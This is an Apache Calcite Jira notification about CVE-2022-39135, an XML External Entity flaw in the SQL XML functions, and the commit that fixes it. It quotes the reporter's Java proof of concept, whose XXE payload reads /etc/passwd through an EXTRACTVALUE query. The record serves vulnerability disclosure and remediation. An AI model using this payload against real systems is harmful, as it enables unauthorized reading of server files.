[ 
https://issues.apache.org/jira/browse/CALCITE-5263?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17601501#comment-17601501
 ] 

Julian Hyde edited comment on CALCITE-5263 at 9/10/22 8:34 AM:
---------------------------------------------------------------

Fixed in 
[ba80b915|https://github.com/apache/calcite/commit/ba80b9156afc0db26b194d97a031fcc0dc7f4c03].
 Thank you for reporting the security issue and suggesting a fix, 
[~exceptionfactory]!


was (Author: rubenql):
Fixed via 
https://github.com/apache/calcite/commit/ba80b9156afc0db26b194d97a031fcc0dc7f4c03

> XML External Entity (XEE) vulnerability that allows a SQL query to read the 
> contents of files via the SQL functions EXISTS_NODE, EXTRACT_XML, 
> XML_TRANSFORM or EXTRACT_VALUE (CVE-2022-39135)
> ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: CALCITE-5263
>                 URL: https://issues.apache.org/jira/browse/CALCITE-5263
>             Project: Calcite
>          Issue Type: Task
>          Components: core
>            Reporter: Ruben Q L
>            Assignee: Ruben Q L
>            Priority: Minor
>              Labels: pull-request-available
>             Fix For: 1.32.0
>
>          Time Spent: 2h 10m
>  Remaining Estimate: 0h
>
> (This issue was previously logged with the subject 'Improve XmlFunctions by 
> using an XML DocumentBuilder'.)
> [CVE-2022-39135|https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-39135] is 
> an XML External Entity (XEE) vulnerability that allows a SQL query to read 
> the contents of files via the SQL functions {{{}EXISTS_NODE{}}}, 
> {{{}EXTRACT_XML{}}}, {{XML_TRANSFORM}} or {{{}EXTRACT_VALUE{}}}.
> Here is the initial report from [~exceptionfactory]:
> {quote}Based on an initial review, several XML functions appear to be 
> vulnerable
> to XML External Entity attacks. Most of the functions require the Oracle
> dialect, except for extractValue, which requires the MySQL dialect.
> Implementing secure processing requires a different approach based on the
> particular JAXP component. In the case of Calcite XmlFunctions, it looks
> like changes would be necessary for TransformerFactory, as well as StAX and
> SAX sources.
> I would be glad to contribute a solution if this is deemed to be a
> legitimate vulnerability.
> I have included a simple proof of concept which embeds an external entity
> reference to the standard password file on Linux systems.
> {code:java}
> import org.apache.calcite.jdbc.Driver;
> import java.sql.Connection;
> import java.sql.ResultSet;
> import java.sql.Statement;
> import java.util.Properties;
> public class CalciteMySQLXmlExternalEntity {
>   public static void main(String[] args) throws Exception {
>     final String xml = "<!DOCTYPE document [ <!ENTITY entity SYSTEM 
> \"file:///etc/passwd\"> ]><document>&entity;</document>";
>     final String sql =
>         String.format("SELECT EXTRACTVALUE('%s','/document') AS ENTITY", xml);
>     final String functionDialect = "mysql";
>     executeSql(sql, functionDialect);
>   }
>   private static void executeSql(final String sql,
>       final String functionDialect) throws Exception {
>     final Driver driver = new Driver();
>     final Properties properties = new Properties();
>     properties.put("fun", functionDialect);
>     try (final Connection connection =
>         driver.connect(Driver.CONNECT_STRING_PREFIX, properties);
>       Statement statement = connection.createStatement()) {
>       if (statement.execute(sql)) {
>         try (final ResultSet resultSet = statement.getResultSet()) {
>           resultSet.next();
>           System.out.println(resultSet.getString("ENTITY"));
>         }
>       }
>     }
>   }
> }
> {code}
> {quote}
> The fix is to improve {{class XmlFunctions}} by using a secure instance of 
> XML {{{}DocumentBuilder{}}}.



--
This message was sent by Atlassian Jira
(v8.20.10#820010)

Reply via email to